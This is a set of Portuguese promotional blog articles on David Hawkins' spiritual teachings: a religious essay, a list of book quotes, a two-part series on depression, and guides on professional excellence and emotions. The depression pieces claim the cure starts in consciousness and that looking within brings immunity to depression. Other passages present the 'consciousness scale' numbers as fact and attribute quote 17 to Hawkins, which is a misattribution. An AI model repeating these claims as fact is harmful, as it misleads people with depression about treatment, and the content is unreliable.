“Gloria in Excelsis Deo!” significa aceitar que “Tudo é Perfeito Como É” porque tudo faz parte da criação Divina. Toda vez que não aceitamos a realidade como é, é como se pensássemos: “Deus é injusto e se eu fosse deus eu faria melhor”. Secretamente, todos nós acreditamos ser Deus. O nosso ego acredita que sabe o que é justo e o que é injusto, o que é certo e o que é errado, o que deveria acontecer e o que não deveria acontecer. É justamente por acreditar nisso que estamos aqui vivendo essa experiência do que é ser humano.

Adão e Eva

Na analogia de Adão e Eva, a árvore da vida representa os princípios divinos e a maçã representa a vontade de querer conhecer e julgar esses princípios (ou seja, a vontade de ser Deus). Ao morder a maçã, escolhemos ser o próprio deus ao invés de servir a Deus. O que isso significa? Significa que nós temos o livre arbítrio e são as escolhas que nos afastam de Deus, que geram sofrimento por si só, pelo simples fato de nos distanciarem da nossa essência. 

Fonte: Aula da Mentoria Superconhecimento em 15/mar/2023 – Pandora Treinamentos

Deus é Infinito, Infinita Bondade, Infinita Justiça, Infinita Verdade, Infinito Amor e Infinita Paz. Como tal, ele não usa de força. Ele age com Poder. É justamente por isso que temos o livre arbítrio, a essência de Deus jamais permitiria que ele nos forçasse a nada. No livro “Poder vs. Força”, o doutor Hawkins nos explica justamente a diferença entre o uso do Poder, que tem a intenção de servir ao contexto, de aceitar as coisas como são e simplesmente viver em Amor, que é o Verdadeiro Poder, em comparação a força que é usar de força para tentar manipular a realidade a nosso próprio favor.

O dr. Hawkins dedicou toda a sua carreira para nos tirar do interminável ciclo mental de descobrir o que é “justo” e o que é “injusto”, um imenso labirinto onde tudo pode ser válido (relativismo) e só a nossa mentalização sabe a resposta (mais uma vez o ego brincando de ser deus). Ele nos ensinou a sair do relativismo, onde qualquer ponto de vista é válido, e ir para o Absolutismo, onde existe um Deus que é Amor e Paz e nosso único propósito é aceitar isso e escolher servir a Deus. 

Escolher servir a Deus

Servir a Deus não é sobre fazer coisas mirabolantes, nem colocar o outro acima de si, ao contrário disso é colocar Deus acima do ego de qualquer pessoa. É aceitar uma ordem de prioridade nos relacionamentos em que primeiro está Deus, depois meu relacionamento comigo mesmo no qual eu aprendo a priorizar Deus e depois o outro. 

“Quem sou eu para ser brilhante, maravilhoso, talentoso e fabuloso?
Na realidade, quem é você para não ser?
Você é filho de Deus.

Você se fazer de pequeno não ajuda o mundo.
Não há nenhuma bondade em você se diminuir, recuar para que os outros não se sintam inseguros ao seu redor.

Todos nós fomos feitos para brilhar, como as crianças brilham.
Nascemos para manifestar a glória de Deus que está dentro de nós.
Não está apenas em um de nós, está em todos nós.”

Marianne Williamson

Servir a Deus é nos reconhecer como responsáveis pela nossa própria realidade. É reconhecer que a nossa essência é Amor, e tudo o que se reflete, na forma, diferente disso, é porque há algum aprendizado que precisa ser transcendido. Os problemas que acreditamos estarem fora de nós, como desemprego, violência, pobreza, na verdade, estão no âmbito da consciência. 

Na verdade, é sobre o livre arbítrio de escolher viver na vergonha pela sua situação de vida, culpando o governo, o mundo ou o outro pelo que acontece com si mesmo, apático sem tomar atitudes, triste pelo mundo ser como é, com medo de todas as tragédias que podem acontecer, desejando que o mundo fosse diferente, com raiva porque as coisas não são como queremos e orgulhosos do que se conquistou, afinal, foi apenas mérito próprio. 

Impacto do nível de consciência na vida mundana

Veja no quadro abaixo os índices de desemprego, violência e pobreza por nível de consciência. 

Tabela

Descrição gerada automaticamente
Fonte: Palestra dr. David Hawkins em 14/jun/2008

Mesmo o orgulho ainda não traz a verdade, nenhum fator isolado é capaz de causar outro. Há sempre uma sincronicidade infinita de fatores para que qualquer coisa aconteça. A criação e a evolução não são duas coisas distintas, são, na verdade, a mesma coisa. A evolução é a forma como a criação acontece. Nada depende exclusivamente de um ego humano, a realidade é muito distante disso. Tudo faz parte da lei do carma que se desdobra conforme as escolhas de cada um.

“Tudo está acontecendo por si só, nada causa nada”.

A lei do carma não apresenta nenhum tipo de punição. É Amor. Imagina você colocar um assassino raivoso para viver em um paraíso cheio de flores, onde toca música clássica o dia todo. Para ele, seria o inferno e não o paraíso! O amor aceita o que é, e não cria nenhuma resistência (força) em permitir que o outro seja o que é. 

Ao amar, aceitamos que um leão é um leão e precisa matar outros animais para se alimentar. Aceitamos também o que é ser humano. Ser humano é ter liberdade de escolha entre agir como um leão feroz ou ser um filho de Deus. A lei do carma é uma profunda aceitação do que se é, com respeito ao livre arbítrio e total sincronicidade entre os aprendizados de cada ser vivo. A lei do carma, então, é sobre Amor. 

Corrupção Espiritual

A corrupção espiritual vem do caminho oposto do que é proposto por “Gloria In Excelsis Deo!”, é escolher “glória a mim” ao invés de “Gloria a Deus”. Isso aconteceu, por exemplo, com Napoleão Bonaparte, quando decidiu se auto coroar ao invés de ser corado pelo Papa, como todos os seus antecessores. Ele escolheu colocar o seu ego acima de Deus.

Hoje vemos visões progressistas deturpadas, onde há um fortalecimento na crença em que há vítimas para todo o lado, e que o mundo é injusto como é. O vitimismo é uma ilusão, reflexo de achar que o “eu” faria melhor que “Deus”. 

Muitos intelectuais se afastam de Deus porque acham que ao entregar o que acontece a Deus, ou ao acreditar que existe um plano Divino para nós, a pessoa se torna vítima da situação. Na verdade, acreditar em Deus é sair da posição de vítima, e entender que podemos aprender com toda e qualquer situação da nossa vida. Toda a situação que vivemos é a situação perfeita para a nossa evolução, já que faz parte da criação Divina. Compreender isso é nos libertar e ir muito mais longe na vida. Acreditar em Deus é o que realmente nos dá o Poder de ir além.  

Conclusão

O dr. David Hawkins dedicou toda a sua carreira para nos ensinar a assumir responsabilidade sobre a nossa própria vida e nos conectar com a nossa Verdadeira Essência Divina. Ele nos ensinou a sair de um mundo onde há uma visão de predador e vítima o tempo todo para um mundo onde a gente escolhe servir a Deus e evoluir. Um mundo onde entregamos nossos julgamentos a Deus. Assim, o dr. Hawkins nos ensinou a sair do relativismo onde todos os pontos de vista são válidos e compreender o Absolutismo, onde tudo é criação divina, o “Gloria In Execelsis Deo!”. 

Leia Direto da Fonte

No livro “Poder vs. Força”, ele nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus).

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Já no livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. E esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Gloria In Excelsis Deo!

Nota: Toda vez que escrevemos deus com letra minúscula estamos nos referindo a uma visão que o ego tem de Deus que não reflete a Verdade.

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As 35 melhores frases do livro Deixar Ir – O Caminho do Desapego

No best-seller Deixar Ir – O Caminho do Desapego, o psiquiatra e pesquisador da consciência Dr. David R. Hawkins, M.D., Ph.D., nos presenteia com um técnica simples e efetiva para lidarmos com os obstáculos da vida humana e nos aproximarmos da Iluminação.

Essa pode ser considerada a obra “de entrada” de Hawkins, ou seja, o livro mais recomendado para quem deseja ter o primeiro contato com seu trabalho.

Porém, isso não significa que “Deixar Ir” seja um livro raso. Muito pelo contrário. A profundidade da obra é grande e fica evidente através de diversas frases marcantes, que se tornam verdadeiros guias para os leitores.

A seguir, confira a seleção das melhores frases do livro Deixar Ir, de Dr. David Hawkins.

As melhores frases do livro Deixar Ir – O Caminho do Desapego, de Dr. David Hawkins

Frases do livro Deixar Ir sobre a mente

1. “Aquilo que mantemos em mente, tende a se manifestar.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

2. “As pessoas mais bem-sucedidas no mundo são aquelas que mantém em mente o Bem Maior que inclui a todos, incluindo a si mesmos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

3. “Tornou-se evidente que o cérebro não é a origem da mente, como a ciência e a medicina acreditavam, mas ao contrário. A mente controla o cérebro.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

4. “O inconsciente nos traz o que acha que merecemos. Se nossa visão de nós mesmos é pequena, limitada e mesquinha — devido à culpa acumulada —, então o inconsciente trará essas condições econômicas para nossa vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre sentimentos

5. “Deixar ir significa que estamos dispostos a abrir mão de um sentimento, permitindo-nos apenas experimentá-lo, e não mudá-lo.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

6. “Nossos sentimentos e pensamentos sempre afetam outras pessoas e afetam nossos relacionamentos, quer sejam esses pensamentos ou sentimentos verbalizados e expressos, ou não.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

7. “Não procure respostas; em vez disso, deixe ir os sentimentos por trás da pergunta.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

8. “Sentimentos vêm e vão, e eventualmente você se dá conta de que você não é seus sentimentos, mas que o real ‘você’ está meramente os testemunhando.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

9. “Pensamos que nossa felicidade depende de controlar os acontecimentos, e que os fatos são o que nos incomodam. Na verdade, nossos sentimentos e pensamentos sobre esses fatos que são a verdadeira causa de estamos chateados.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

10. “Medo da vida é, na verdade, medo das emoções. Não são os fatos que tememos, mas nossos sentimentos sobre eles.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

11. “Para superar a culpa, é necessário olhar para a satisfação secreta e o prazer que obtemos da autopiedade, ressentimento, raiva e auto-desculpas, e começar a renunciar a todas essas pequenas recompensas.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

12. “Nada precisa ser feito para adquirirmos sentimentos positivos, pois eles são parte integrante do nosso estado natural.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

13. “Ter deixado ir significa não ter nenhuma emoção forte a respeito de alguma coisa: ‘Está okay se isso acontecer, e okay se não acontecer’”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre mudança interior

14. “O mundo só consegue nos ver como nós mesmos nos vemos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

15. “O ponto crucial é: mudando a nós mesmos, mudamos o mundo. À medida que nos tornamos mais amorosos por dentro, a cura ocorre por fora. Assim como a elevação do nível do mar eleva todos os navios, o esplendor do amor incondicional dentro de um coração humano eleva toda a vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

16. “Todo julgamento é, na verdade, autojulgamento.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

17. “Tudo pode ser tirado de um homem, menos uma coisa: a última das liberdades humanas – escolher a própria atitude em qualquer conjunto de circunstâncias, escolher o próprio caminho.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

18. “Sem uma mudança de consciência, não há redução real do estresse.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

19. “Simplesmente olhe para o que você não gostaria que os outros soubessem sobre você e comece a ‘deixar ir’ isso!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

20. “Nossas auto-dúvidas bloqueiam o próprio reconhecimento que buscamos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre as leis da vida

21. “A natureza básica do universo é manifestar o maior bem possível em cada situação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

22. “Nós conseguimos o que queremos quando paramos de insistir!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

23. “Ficar na defensiva é um convite para o ataque.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

24. “Quanto maior nosso apego ao que está fora de nós, maior é nosso nível geral de medo e vulnerabilidade à perda.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

25. “Uma das leis da consciência é: só estamos sujeitos a um pensamento ou crença negativa se dissermos conscientemente que isso se aplica a nós. Somos livres para escolher não aderir a um sistema de crença negativo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

26. “O único poder que qualquer coisa tem sobre nós é o poder da crença que lhe damos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

27. “Quando pressionamos outras pessoas para conseguir o que queremos, elas automaticamente resistem, porque estamos tentando pressioná-las. Quanto mais forçamos, mais elas resistem.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

28. “É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que deixarmos ir as nuvens de negatividade que impedem sua revelação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

29. “Se deixarmos ir a culpa, veremos a inocência; no entanto, uma pessoa dominada pela culpa verá apenas o mal. A regra básica é que nos concentramos no que reprimimos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre perdão e cura

30. “O perdão é um aspecto do amor que nos permite ver os acontecimentos da vida do ponto de vista da Graça.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

31. “Quando curamos algo em nós mesmos, é uma cura para o mundo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

32. “Com o perdão, eventos e pessoas são recontextualizados como simplesmente ‘limitados’ – não ‘ruins’ ou ‘não amáveis’”. –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

33. “O medo do futuro não existe mais quando o passado foi curado.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre o Amor

34. “Quanto mais amamos, mais podemos amar. O amor não tem limites. Amor gera amor.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

35. “Quando paramos de querer ser amados, descobrimos que somos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Leia as frases do livro “Deixar Ir” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Níveis de Consciência

Como Sair da Depressão? – Parte 2

Na primeira parte deste artigo sobre como sair da depressão, desmistificamos algumas crenças sobre a depressão e vimos que a abordagem correta para tratamento e cura deve considerar as esferas física, mental e espiritual.

Porém, há uma hierarquia entre essas esferas. A cura para a depressão começa na consciência, já que uma mudança no campo de consciência produz mudanças na mente e no corpo, segundo Dr. David Hawkins.

Então, como identificar as reais causas da depressão a partir da consciência e facilitar o processo de tratamento ou cura? É o que veremos a partir de agora.

Quais são as reais causas da depressão?

Para compreendermos a depressão em profundidade, utilizaremos o conceito do Mapa da Consciência (também conhecido como Escala dos Níveis de Consciência, Escala Hawkins ou Escala as Emoções) que já foi explorado aqui em outros artigos.

Na base do Mapa da Consciência estão os níveis de consciência chamados de Culpa, Apatia e Tristeza. Esses campos se expressam na prática como sentimentos de ódio de si mesmo, desesperança e desânimo. Perceba que, nesses campos energéticos, a depressão é o estado natural.

São níveis com pouquíssima energia. Quando os vivenciamos, passamos a ter uma visão de mundo triste e sem esperança. Tudo é sofrimento e dor. A visão de Deus é de um Deus que nos ignora, que não se preocupa conosco e ao qual não estamos conectados. A sensação é de que não temos valor, somos culpados ou pecadores.

Sempre que falamos de um determinado nível de consciência (ex.: Culpa, Apatia, Tristeza), estamos falando de um conjunto enorme de características que incluem, por exemplo: emoções específicas, pensamentos típicos, crenças, comportamentos, uma determinada visão de mundo e de Deus.

É possível perceber, portanto, que a depressão é multifatorial. Porém, o nível de consciência que acessamos é determinante para a nossa experiência. Se estivermos “presos” na base do Mapa da Consciência, é como se “automaticamente” tivéssemos comportamentos depressivos, pensamentos depressivos, emoções depressivas, visão de mundo depressiva, assim por diante.

Logo, apesar de não existir uma “causa” específica, pode-ser que o fator de maior influência para a depressão é o campo de consciência com o qual nos conectamos.

Sendo assim, para sair da depressão precisamos nos conectar com novos campos de consciência mais expandidos.

O que isso significa na prática?

Na prática, para sair da depressão devemos reconhecer os níveis de consciência negativos em nossa vida e buscar os positivos.

Para isso, é fundamental compreendermos qual é o erro que nos leva a mergulhar nos campos de culpa, vergonha, medo, tristeza, raiva, apatia etc. E esse erro é sempre o mesmo: colocar nossa sobrevivência fora de nós mesmos.

“Todos os campos de energia negativos são baseados em colocar a fonte da nossa felicidade em algo externo.” – Dr. David R. Hawkins

A partir do momento que acreditamos que a fonte da felicidade está fora de nós, nos tornamos vulneráveis. E isso abre espaço para a depressão.

Observe os pensamentos e falas do tipo: “Quando eu tiver o diploma, terei sucesso e serei feliz”, “Quando eu perder tantos quilos, serei magro(a) e feliz”, “Quando eu tiver tantos mil reais na conta, ficarei tranquilo(a) e serei feliz”, ou ainda “Quando eu casar e tiver filhos, serei realizado(a) e feliz”

Afirmações como essas colocam a fonte da felicidade fora de nós, e isso é um grande equívoco. Jamais, em momento algum, a felicidade pode estar “lá fora”. Quando reconhecemos que a felicidade está dentro de nós, aí sim nos tornamos imunes a episódios de depressão.

Conclusão: como sair da depressão?

Dr. David Hawkins é claro: o caminho para sairmos da depressão é pararmos de depositar nossa felicidade em fatores e acontecimentos externos, e passarmos a reconhecer a fonte a felicidade dentro de nós mesmos.

Isso nos permite desenergizar os campos de consciência negativos, como apatia, culpa e tristeza, que são característicos dos estados depressivos. Ao mesmo tempo, passamos a nos conectar com os campos positivos, como a Coragem, Disposição, Aceitação e o Amor.

Ao observarmos que a felicidade só depende de nós mesmos e que é possível sermos felizes, acessamos a Coragem. A partir daí, nos colocamos em um movimento de Disposição para mudarmos nosso jeito de agir. Com Aceitação, acolhemos nossas limitações, respeitamos as limitações das outras pessoas e aceitamos o nosso contexto de vida atual, sabendo que a felicidade está disponível dentro de nós. Com Amor, passamos a dar o nosso melhor a cada instante, aceitando a vida como ela é sem criar expectativas, porém sem nunca sermos negligentes com nossa própria felicidade.

Tudo começa com o reconhecimento desta simples verdade: a felicidade vem de dentro. Esse é o ponto de partir para sair da depressão e vivenciar o amor e a paz diariamente.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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Níveis de Consciência

Como Sair da Depressão? – Parte 1

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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3 Características da Excelência Profissional

No artigo de hoje continuaremos aprofundando o livro O Sucesso É Para Você, de Dr. David Hawkins. No artigo anterior discutimos 3 elementos fundamentais para um negócio de sucesso. Hoje, falaremos sobre como alcançar a excelência profissional.

Nessa obra, Hawkins utiliza sua experiência prévia como empresário, médico e psiquiatra dono da maior clínica de saúde mental dos EUA, em Nova Iorque.

Característica da excelência profissional: Compromisso

Dr. Hawkins coloca a “excelência” como algo que não pode ser imitado.

Sermos excelentes, na vida pessoal ou profissional, é uma consequência natural do compromisso que firmamos com a excelência. Essa afirmação pode parecer óbvia, porém é fundamental. A excelência só se torna possível a partir do momento em que nos comprometemos a entregar somente excelência — nada menos do que isso.

Primeiro vem o compromisso, depois o resultado.

Característica da excelência profissional: Criatividade

Quando observamos alguém que é excelente no que faz, logo pensamos que aquela pessoa tem uma genialidade ou criatividade inatas. A partir daí surgem muitos mitos, como “Eu não sou criativo” ou “Eu não sou tão genial assim”.

Dr. Hawkins explica que a criatividade ou genialidade são naturais do lado direito do cérebro. Se você tem um cérebro, você tem criatividade — mesmo que não se considere alguém criativo.

Segundo ele, uma pessoa verdadeiramente criativa é aquela que tem atitudes de cuidado, compartilhamento, amor, participação e imaginação de como a experiência de outra pessoa pode ser.

Se na sua profissão você for empático e se colocar no lugar do cliente, do usuário do serviço ou produto, você naturalmente terá ideias de como melhorar a experiência. Tudo começa na intenção genuína de servir o outro e criar a melhor experiência possível!

Característica da excelência profissional: Humanidade

Ao longo da obra O Sucesso É Para Você, Dr. David Hawkins enfatiza que só existe um consumidor: a natureza humana.

Ele destaca que todas as pessoas verdadeiramente de sucesso focam em atender as necessidades humanas, isto é, as necessidades dos compradores de seus serviços ou produtos.

O que importa não é o segmento em que você atua. É claro que cada segmento possui suas peculiaridades, mas o consumidor será sempre o mesmo, que é a própria natureza humana.

A razão pela qual compramos qualquer coisa é porque esse produto ou serviço atrai algo em nossa natureza humana. Hawkins nos diz que a excelência na profissão e nos negócios vem do reconhecimento da verdade daquilo que é universal.

O que importa são as necessidades humanas, como a necessidade de reconhecimento, importância, celebração, cuidado, pertencimento, entre outras.

Dr. David Hawkins explica que o sucesso que ocorre naturalmente quando despertamos o melhor de nós. Não é algo a ser “alcançado” ou “buscado lá fora”, mas sim algo a ser desperto.

Conclusão

A excelência profissional é, portanto, uma consequência de características intrínsecas nossas. Basta nos conectarmos com o nosso lado humano e assim, consequentemente, atenderemos as necessidades de nossos clientes e consumidores. Para Hawkins, essa é a “receita” do sucesso.

Acesse a página do livro O Sucesso É Para Você para conferir o conteúdo completo e aprofundar ainda mais a sua excelência profissional.

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Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

